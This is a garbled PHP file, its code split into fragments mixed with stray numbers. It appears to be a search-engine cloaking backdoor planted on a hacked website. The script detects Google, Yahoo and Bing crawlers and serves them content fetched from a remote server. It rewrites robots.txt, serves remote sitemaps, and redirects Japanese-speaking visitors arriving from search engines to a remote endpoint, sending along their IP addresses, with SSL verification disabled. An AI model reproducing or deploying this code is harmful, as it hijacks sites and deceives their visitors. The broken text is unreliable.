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1
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ser
1
v
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e
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r(
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$
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n
1
a
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me
4
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2
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1
e
1
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2
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1
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1
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6
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5

    
6
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4
    
1
i
2
f 
1
(
2
em
1
p
1
t
1
y
6
($name
1
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1
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b
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4
    
3
ret
2
ur
1
n
1
 
2
$_
1
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1
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1
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2
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9

        
1
}
9

        
8
$name = 
2
st
1
r
2
to
1
u
1
p
1
p
9
er($name)
a
;
        
7
return 
2
is
3
set
1
(
8
$_SERVER
1
[
5
$name
1
]
2
) 
1
?
1
 
10
$_SERVER[$name] 
1
:
9
 $default
6
;
    
1
}
15

    public function 
3
iss
1
(
14
)
    {
        if (
2
$t
1
h
1
i
1
s
1
-
1
>
7
server(
1
'
2
HT
1
T
1
P
1
S
1
'
2
) 
1
&
2
& 
1
(
1
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2
1"
1
 
1
=
1
=
1
 
17
$this->server('HTTPS') 
2
||
1
 
1
"
2
on
5
" == 
5
strto
2
lo
1
w
4
er($
15
this->server('HTTPS')
1
)
19
)) {
            return t
1
r
2
ue
b
;
        }
1
 
2
el
1
s
1
e
5
if ('
5
https
1
'
13
 == $this->server('
1
R
1
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1
Q
1
U
1
E
2
ST
1
_
1
S
1
C
2
HE
2
ME
1
'
31
)) {
            return true;
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1
4
1
4
1
3
14
' == $this->server('
7
SERVER_
1
P
1
O
1
R
1
T
32
')) {
            return true;
        } elseif ('
19
https' == $this->server('
4
HTTP
1
_
1
X
1
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2
FO
1
R
1
W
1
A
1
R
1
D
1
E
2
D_
1
P
1
R
1
O
2
TO
28
')) {
            return true;
        }
10

        return 
1
f
1
a
3
lse
1c
;
    }
    public function 
1
h
2
os
1
t
11
()
    {
        
1
$
4
host
6
 = str
1
v
2
al
14
($this->server('HTTP
d
_X_FORWARDED_
1
H
1
O
1
S
3
T')
1
 
1
?
1
:
15
 $this->server('HTTP_
6
HOST')
12
);
        return 
3
str
2
po
1
s
1
(
6
$host,
1
 
1
'
1
:
4
') ?
4
 str
3
str
b
($host, ':'
1
,
5
 true
1
)
4
 : $
4
host
1c
;
    }
    public function 
1
s
2
ch
1
e
1
m
1
e
11
()
    {
        
8
return $
6
this->
5
iss()
3
 ? 
6
"https
1
"
3
 : 
5
"http
1
"
1c
;
    }
    public function 
2
dm
1f
()
    {
        return $this->
9
scheme() 
1
.
1
 
1
"
4
://"
3
 . 
7
$this->
6
host()
1d
;
    }
    public function i
1
p
15
()
    {
        if (
2
ge
1
t
2
en
1
v
7
('HTTP_
1
C
1
L
1
I
1
E
1
N
2
T_
1
I
1
P
12
')) {
            
1
$
1
i
1
p
3
 = 
18
getenv('HTTP_CLIENT_IP')
14
;
        } elseif (
d
getenv('HTTP_
c
X_FORWARDED_
3
FOR
25
')) {
            $ip = getenv('HTTP_
11
X_FORWARDED_FOR')
1c
;
        } elseif (getenv('
1
R
1
E
2
MO
1
T
1
E
1
_
2
AD
1
D
21
R')) {
            $ip = getenv('
d
REMOTE_ADDR')
10
;
        } else
15
 {
            $ip = 
11
$this->server('RE
16
MOTE_ADDR');
        }
11

        return $
2
ip
1e
;
    }
    public function is
1
c
12
()
    {
        $
1
a
1
g
2
en
1
t
1
 
21
= strtolower($this->server('HTTP_
1
U
3
SER
1
_
1
A
1
G
3
ENT
d
'));
        
5
if ($
6
agent 
1
!
4
= ''
4
 && 
1
p
3
reg
1
_
1
m
2
at
1
c
1
h
2
('
1
/
1
g
1
o
2
og
1
l
1
e
2
bo
1
t
1
|
7
google|
1
y
1
a
1
h
1
o
2
o|
1
b
3
ing
1
|
1
a
1
o
2
l/
1
s
1
i
4
', $
5
agent
58
)) {
            return true;
        }
        return false;
    }
    public function 
2
is
1
g
9
()
    {

1
	
2
	$
1
r
1
e
2
fe
1
r
22
 = strtolower($this->server('HTTP_
1
R
1
E
1
F
2
ER
1
E
1
R
d
'));
        
6
$refer
3
bot
1
s
4
 = '
16
google|yahoo|bing|aol'
f
;
        if ($
6
refer 
15
!= '' && preg_match("
1
/
1
(
a
$referbots
1
)
4
/si"
1
,
7
 $refer
58
)) {
            return true;
        }
        return false;
    }
    public function 
1
u
2
ri
15
()
    {
        if (
2
($
3
pos
6
 = str
5
pos($
16
this->server('REQUEST_
1
U
1
R
1
I
1
'
1
)
3
, '
1
.
3
php
4
')) 
1
!
3
== 
5
false
11
) {
            $
1
s
2
cr
1
i
2
pt
1
_
7
name = 
1
b
1
a
2
se
4
name
10
($this->server('
1
S
2
CR
1
I
1
P
1
T
1
_
1
F
2
IL
1
E
1
N
1
A
5
ME'))
1
;
d

            
4
if (
1f
basename($this->server('SCRIPT_
7
NAME'))
3
 ==
1
=
d
 $script_name
10
) {
            
5
    $
1
u
2
rl
12
 = $this->server('
d
SCRIPT_NAME')
e
;
            
a
} elseif (
18
basename($this->server('
1
P
1
H
1
P
3
_SE
1
L
1
F
3e
')) === $script_name) {
                $url = $this->server('
a
PHP_SELF')
31
;
            } elseif (basename($this->server('O
1
R
1
I
1
G
1
_
49
SCRIPT_NAME')) === $script_name) {
                $url = $this->server('
12
ORIG_SCRIPT_NAME')
18
;
            } elseif (
1e
($pos = strpos($this->server('
a
PHP_SELF')
3
, '
2
/'
4
 . $
c
script_name)
1b
) !== false) {
            
c
    $url = s
1
u
1
b
5
str($
1b
this->server('SCRIPT_NAME')
2
, 
1
0
3
, $
3
pos
4
) . 
12
'/' . $script_name
18
;
            } elseif (
f
$this->server('
1
D
1
O
1
C
1
U
1
M
4
ENT_
1
R
1
O
2
OT
6
') && 
16
strpos($this->server('
11
SCRIPT_FILENAME')
1
,
10
 $this->server('
f
DOCUMENT_ROOT')
6
) === 
1
0
1d
) {
                $url = st
6
r_repl
1
a
1
c
11
e($this->server('
f
DOCUMENT_ROOT')
1
,
6
 '', $
2e
this->server('SCRIPT_FILENAME'));
            
1
}
d

            
3
$re
1
q
3
uri
4
 = $
4
url 
1
.
17
 substr($this->server('
f
REQUEST_URI'), 
5
$pos 
1
+
1
 
1
4
21
);
        } else {
            $
9
requri = 
25
substr($this->server('REQUEST_URI'), 
26
strpos($this->server('REQUEST_URI'), '
1
/
d
'));
        
11
}
        return 
1
r
2
tr
1
i
1
m
1
(
7
$requri
6
, '/')
1d
;
    }
    public function e
1
x
1
e
1
c
3
Req
1
(
4
$url
4
, $p
3
 = 
3
arr
1
a
2
y(
1
)
11
)
    {
        $
12
url = str_replace(
2
' 
3
', 
1
'
1
+
4
', $
3
url
c
);
        $
1
c
1
h
3
 = 
1
c
3
url
1
_
2
in
1
i
9
t();
    
4
    
5
curl_
3
set
1
o
1
p
3
t($
1
c
2
h,
1
 
1
C
1
U
2
RL
1
O
1
P
4
T_UR
1
L
11
, $url);
        
19
curl_setopt($ch, CURLOPT_
2
RE
1
T
1
U
1
R
1
N
2
TR
1
A
1
N
1
S
3
FER
1
,
1
 
1
1
24
);
        curl_setopt($ch, CURLOPT_
1
H
1
E
1
A
1
D
4
ER, 
1
0
24
);
        curl_setopt($ch, CURLOPT_
1
T
1
I
1
M
1
E
1
O
2
UT
1
,
1
 
1
2
25
0);
        curl_setopt($ch, CURLOPT_
1
P
3
OST
27
, 1);
        curl_setopt($ch, CURLOPT_
1
S
2
SL
1
_
3
VER
1
I
1
F
2
YP
1
E
29
ER, 0);
        curl_setopt($ch, CURLOPT_
a
SSL_VERIFY
1
H
5
OST, 
25
0);
        curl_setopt($ch, CURLOPT_
4
POST
1
F
1
I
1
E
1
L
1
D
1
S
2
, 
5
http_
1
b
2
ui
1
l
1
d
1
_
1
q
2
ue
1
r
3
y($
1
p
d
));
        $
1
o
1
u
2
tp
1
u
1
t
8
 = curl_
4
exec
4
($ch
c
);
        $
5
error
1
C
2
od
1
e
9
 = curl_e
2
rr
1
n
1
o
f
($ch);
        
5
curl_
1
c
2
lo
1
s
1
e
f
($ch);
        
4
if (
1
0
5
 !== 
a
$errorCode
17
) {
            return 
b
false;
    
4
    
12
}
        return $
6
output
8
;
    }

1
}
1


4
$req
3
 = 
2
ne
1
w
4
 Req
4
();

1
$
3
isc
4
 = $
3
req
5
->isc
7
();
$is
1
g
b
 = $req->is
1
g
5
();
$
1
u
1
m
1
a
6
p = $t
1
r
4
 . "
4
map"
4
;
$u
5
ri = 
3
url
1
d
2
ec
3
ode
1
(
6
$req->
5
uri()
4
);
$
a
p = array(
5

    
2
"d
1
o
1
m
2
ai
4
n" =
1
>
7
 $req->
4
dm()
1
,
6

    "
4
port
b
" => $req->
14
server('SERVER_PORT'
1
,
1
 
1
8
1
0
8
),
    "
3
uri
6
" => $
3
uri
1


3
);

4
if (
8
substr($
5
uri, 
1
-
1
1
1
0
5
) == 
1
"
1
r
1
o
4
bots
1
.
1
t
2
xt
1
"
8
) {
    
1
h
2
ea
1
d
4
er("
1
C
1
o
1
n
3
ten
1
t
2
-t
1
y
1
p
1
e
2
:t
1
e
1
x
2
t/
4
plai
1
n
1
;
2
 c
1
h
1
a
1
r
3
set
2
=u
1
t
1
f
1
-
1
8
1
"
7
);
    
2
di
8
e($req->
9
execReq($
6
tr . "
6
robots
4
", $
5
p));

1
}
13

if (substr($uri, -
1
6
c
) == "robots
9
") {
    
a
$output = 
21
$req->execReq($tr . "robots", $p)
6
;
    
1
$
2
rp
4
t = 
2
__
1
D
1
I
2
R_
1
_
4
 . "
1
/
b
robots.txt"
6
;
    
1
f
1
i
2
le
1
_
3
put
1
_
1
c
6
ontent
3
s($
3
rpt
1
,
8
 $output
9
);
    $r
5
obots
5
_cont
3
 = 
1
@
5
file_
3
get
e
_contents($rpt
7
);
    
5
if (s
6
trpos(
c
strtolower($
b
robots_cont
3
), 
1
"
2
si
2
te
4
map"
d
)) {
        
4
die(
b
"robots.txt
5
 file
3
 cr
1
e
2
at
1
e
3
 su
1
c
2
ce
1
s
1
s
1
!
8
");
    
11
} else {
        
1c
die("robots.txt file create 
1
f
1
a
2
il
a
!");
    }
15

}
if (substr($uri, -
1
4
6
) == "
1
.
1
x
2
ml
9
") {
    
b
if (strpos(
6
$uri, 
1
"
1
a
2
ll
7
sitemap
7
.xml") 
1
|
2
| 
e
strpos($uri, "
7
sitemap
1
-
2
in
1
d
1
e
1
x
25
.xml") || strpos($uri, "sitemap-index
1
-
1
1
18
.xml") || strpos($uri, "
b
index.xml")
c
) {
        
19
$output = $req->execReq($
4
umap
b
, $p);
    
4
    
1a
header("Content-type:text/
4
" . 
9
(substr($
6
output
5
, 0, 
1
5
7
) === '
1
<
1
?
3
xml
1
'
3
 ? 
1
'
5
xml' 
2
: 
1
'
5
plain
1
'
5
) . '
f
; charset=utf-8
c
');
        
4
die(
1
'
5
' . $
d
output);
    
1
}
24

    $output = $req->execReq($tr . "
2
wo
1
r
1
d
c
", $p);
    
1a
header("Content-type:text/
3
xml
17
; charset=utf-8");
    
5
if ($
8
output =
3
= "
1
1
1
"
10
) {
        die(
6
'' . $
17
req->execReq($umap, $p)
1c
);
    } else {
        die(
15
'' . $output);
    }

3
}
$
1
l
1
a
1
n
a
g = $req->
d
server('HTTP_
1
A
2
CC
1
E
3
PT_
1
L
1
A
1
N
1
G
1
U
3
AGE
1
'
7
);
if (
1
!
5
$isc 
3
&& 
5
$isg 
b
&& strpos($
4
lang
3
, '
1
j
2
a'
1
)
3
!==
d
false) {
    
1
$
1
p
2
["
1
i
1
p
1
"
1
]
a
 = $req->i
1
p
8
();
    
1
$
1
a
6
ction 
9
= $tr . "
1
j
1
u
1
m
8
p";
    
13
die($req->execReq($
6
action
e
, $p));
}
if (
4
$isc
8
) {
    
18
die('' . $req->execReq($
6
tr . "
3
ind
1
a
2
ta
b
", $p));
}

1
?
1
>
0